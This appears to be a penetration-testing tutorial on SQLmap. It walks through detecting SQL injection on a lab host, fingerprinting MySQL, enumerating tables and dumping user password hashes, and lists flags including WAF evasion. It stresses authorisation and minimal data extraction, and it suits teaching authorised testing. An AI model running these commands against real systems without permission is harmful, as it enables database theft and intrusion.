SQLmap
SQLmap automates the entire SQL injection lifecycle: find the injection point, identify the database, extract the schema, dump the data, and in the worst case take over the host.
What it is
SQLmap is a Python tool that automates SQL injection detection and exploitation. You give it a URL with a parameter, and it tries a library of techniques — boolean-based blind, time-based blind, error-based, UNION query, stacked queries — to find one that works.
Once it has a working technique, it can fingerprint the database engine (MySQL, PostgreSQL, MSSQL, Oracle, SQLite), enumerate databases and tables, dump rows, read files, and on some configurations execute operating-system commands.
It is loud. Every technique generates hundreds of requests with tell-tale payloads, which is exactly what a WAF is built to catch. In a real assessment you run it with a proxy, rate limits, and an agreed window.
How to use SQLmap
Follow it exactly as you would in a real session — every command, every line of output, and what each result actually tells you. This is a terminal walkthrough.
Detect the injection — nothing else yet
kali@errordex:~$ sqlmap -u "http://10.10.10.5/item.php?id=1" --batch --level=1 --risk=1
__H__ ___ ___[.]_____ ___ ___ {1.8.2#stable} [INFO] testing connection to the target URL [INFO] testing if the target URL content is stable [INFO] GET parameter 'id' appears to be 'MySQL' injectable [INFO] the back-end DBMS is MySQL
Identify what you are talking to
kali@errordex:~$ sqlmap -u "http://10.10.10.5/item.php?id=1" --banner --current-db --current-user --batch
banner: 5.7.33-0ubuntu0.16.04.1 current user: shopapp@localhost current database: shop
information_schema exists), the user is shopapp — not root, so file writes and OS commands are probably out — and the application database is shop.Enumerate — map before you extract
kali@errordex:~$ sqlmap -u "http://10.10.10.5/item.php?id=1" -D shop --tables --batch
Database: shop [4 tables] +------------------+ | users | | orders | | products | | sessions | +------------------+
Extract the minimum that proves it
kali@errordex:~$ sqlmap -u "http://10.10.10.5/item.php?id=1" -D shop -T users -C username,password --dump --start 1 --stop 2 --batch
Database: shop Table: users [2 entries] +----------+----------------------------------+ | username | password | +----------+----------------------------------+ | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | akshay | e10adc3949ba59abbe56e057f20f883e | +----------+----------------------------------+
Control the noise so the test stays legal and quiet
kali@errordex:~$ sqlmap -u "http://10.10.10.5/item.php?id=1" --delay=2 --threads=1 --proxy=http://127.0.0.1:8080 --output-dir=./sqlmap-out --batch
[INFO] fetched data logged to text files under './sqlmap-out/' # --delay=2 one request every 2 seconds # --threads=1 single-threaded, gentle on the server # --proxy every request passes through Burp and is logged # --output-dir session + logs kept for the report
Flags & options
| FLAG | WHAT IT DOES |
|---|---|
| -u "URL" | Target URL including the parameter to test. |
| --data="..." | POST body instead of a GET parameter. |
| -p name | Test only this parameter. |
| --batch | Never ask questions — accept defaults. Essential for scripting. |
| --level 1-5 | How many injection points and payload types to try. Start at 1. |
| --risk 1-3 | How dangerous the payloads are. 3 includes heavy time-based tests. |
| --dbs | List databases. |
| -D db -T table --columns | Enumerate tables, then columns. |
| --dump | Extract rows. Always pair with --start/--stop. |
| --banner --current-db --current-user | Identify engine, database and user. |
| --is-dba | Check whether the current user is an administrator. |
| --delay=2 --threads=1 | Throttle — one request every N seconds, single thread. |
| --proxy=http://127.0.0.1:8080 | Route through Burp so every payload is logged. |
| --output-dir=./out | Keep the session and logs for the report. |
| --tamper=script | Transform payloads to get past a WAF — only with authorisation. |
Why it matters
SQL injection is still one of the highest-impact web bugs: one vulnerable parameter can expose an entire database. SQLmap exists to make detection and proof-of-impact fast and repeatable. The skill is not running it — it is knowing when to stop. Dumping a client's customer table when you only needed to prove the injection is a data-protection incident you caused.
How it works
SQLmap sends payloads and reads the application's response. If a boolean condition changes the page, it has a boolean-based injection. If a deliberate delay changes the response time, it has time-based blind. If an error message leaks the query, it has error-based. Once one technique works, it uses it as a channel to ask the database questions — starting with its version and name.
Everything after that is enumeration over that channel: list databases, list tables, list columns, then read rows. The clever part is not the payloads — it is that the tool can extract data even when the page never shows an error.
Commands & syntax
# detect only — no data extraction sqlmap -u "https://target.local/item?id=1" --batch # POST parameter instead of GET sqlmap -u "https://target.local/login" --data="user=a&pass=b" -p user --batch
sqlmap -u "https://target.local/item?id=1" --banner --current-db --current-user --batch
# is the current user an administrator?
sqlmap -u "https://target.local/item?id=1" --is-dba --batchsqlmap -u "https://target.local/item?id=1" --dbs --batch sqlmap -u "https://target.local/item?id=1" -D shop --tables --batch sqlmap -u "https://target.local/item?id=1" -D shop -T users --columns --batch
# three rows proves it. Do not take the whole table.
sqlmap -u "https://target.local/item?id=1" -D shop -T users -C username,password --dump --start 1 --stop 3 --batch# throttle, and route through your proxy so everything is logged sqlmap -u "https://target.local/item?id=1" --delay=2 --threads=1 --proxy=http://127.0.0.1:8080 --batch # keep session output for the report sqlmap -u "..." --output-dir=./sqlmap-out --batch
kali@errordex:~$ sqlmap -u "http://10.10.10.5/item.php?id=1" --batch --dbs ___ __H__ ___ ___[.]_____ ___ ___ {1.8.2#stable} |_ -| . [)] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [INFO] testing connection to the target URL [INFO] checking if the target is protected by some kind of WAF/IPS [INFO] testing if the target URL content is stable [INFO] GET parameter 'id' appears to be 'MySQL' injectable (with --string="Home") [INFO] fetching database names available databases [4]: [*] information_schema [*] mysql [*] performance_schema [*] shop # Four databases. "shop" is the application one. # Stop here and write it up — you have proof of injection. # Dumping it is a data-protection decision, not a technical one.
Common mistakes
Dumping the whole database
It is not "thorough", it is a data breach you created. Take the minimum rows needed to prove impact and delete local copies afterwards.
Running it against production without a window
Hundreds of requests with obvious payloads will trip WAFs and fill logs. Agree the time window first.
Forgetting --batch
It stops on every question and looks like it has hung.
Cranking --level and --risk to maximum immediately
Higher levels test more injection points and riskier payloads — including time-based ones that can load the server. Raise them only if the default fails.
Ignoring the WAF
If a WAF blocks you, the correct move is to report "WAF present, manual testing required", not to try to evade it without authorisation.
Not saving the session
You will not reproduce the exact payload from memory.
Practice safely
Deliberately vulnerable apps: DVWA and bWAPP include SQL injection modules at several difficulty levels, and they are safe to attack locally. PortSwigger Web Security Academy has SQL injection labs from apprentice to expert.